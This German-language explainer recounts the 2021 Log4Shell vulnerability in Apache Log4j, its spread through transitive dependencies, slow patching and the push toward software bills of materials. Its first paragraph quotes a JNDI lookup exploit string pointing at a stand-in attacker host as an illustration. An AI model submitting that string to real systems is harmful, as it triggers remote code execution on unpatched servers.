Im Dezember 2021 wurde eine kritische Zero-Day-Schwachstelle (CVE-2021-44228, Spitzname „Log4Shell“) in Apache Log4j entdeckt, einer allgegenwärtigen Java-Protokollierungsbibliothek, die in Millionen von Anwendungen und Servern weltweit verwendet wird. Die Schwachstelle ermöglichte es einem Angreifer, beliebigen Code auf einem Server auszuführen, indem er eine speziell präparierte Zeichenkette sendete – so einfach wie die Eingabe von „${jndi:ldap://attacker.com}“ in ein Anmeldefeld.
Die Schwachstelle war katastrophal, weil Log4j in einer enormen Bandbreite von Software eingebettet war: Unternehmensanwendungen, Cloud-Dienste, Spielserver (Minecraft), IoT-Geräte und Regierungssysteme. Viele Organisationen wussten nicht einmal, dass sie Log4j ausführten, weil es sich um eine transitive Abhängigkeit handelte, die tief in ihrem Software-Stack vergraben war.
Die Apache Software Foundation veröffentlichte Patches, doch die Behebung war langsam und komplex: Organisationen mussten jede Instanz von Log4j in ihren Systemen identifizieren, jede einzelne patchen und die Korrektur überprüfen. Die Schwachstelle wurde innerhalb von Stunden nach der Offenlegung aktiv ausgenutzt. Der Fall veranschaulichte die Fragilität der modernen Software-Lieferkette: Eine einzige Schwachstelle in einer weit verbreiteten Open-Source-Bibliothek kann Millionen von Systemen gleichzeitig kompromittieren.
Der Log4Shell-Fehler in Apache Log4j hinterließ Millionen von Systemen verwundbar und erzwang eine globale Patch-Arbeit, die Milliarden von Dollar und Wochen an Arbeit kostete.
Log4j war als transitive Abhängigkeit in Millionen von Anwendungen eingebettet, oft ohne Wissen der Organisationen, die es ausführten.
Die Schwachstelle ermöglichte die Ausführung von beliebigem Code aus der Ferne mit einer trivial einfachen Exploit-Zeichenkette.
Die Behebung war langsam, weil Organisationen jede Instanz von Log4j in ihrem Stack finden und patchen mussten.
Die Schwachstelle wurde innerhalb von Stunden nach der öffentlichen Offenlegung aktiv ausgenutzt.
Der moderne Software-Stack ist ein Turm von Abhängigkeiten, und die meisten Organisationen wissen nicht, was in ihrem steckt. Log4j war überall. Die Frage ist nicht „Sind wir betroffen?“, sondern „Können wir es zuerst herausfinden?“
Apache veröffentlichte Patches, und der CVE wurde mit einem Schweregrad von 10,0 bewertet. Der Fall veranlasste die US-Regierung, eine Durchführungsverordnung zur Sicherheit der Software-Lieferkette zu erlassen, und beschleunigte die Einführung von Software-Stücklisten (SBOMs). Log4j bleibt ein Referenzpunkt für Lieferkettenrisiken.
DEN BELEGEN FOLGEN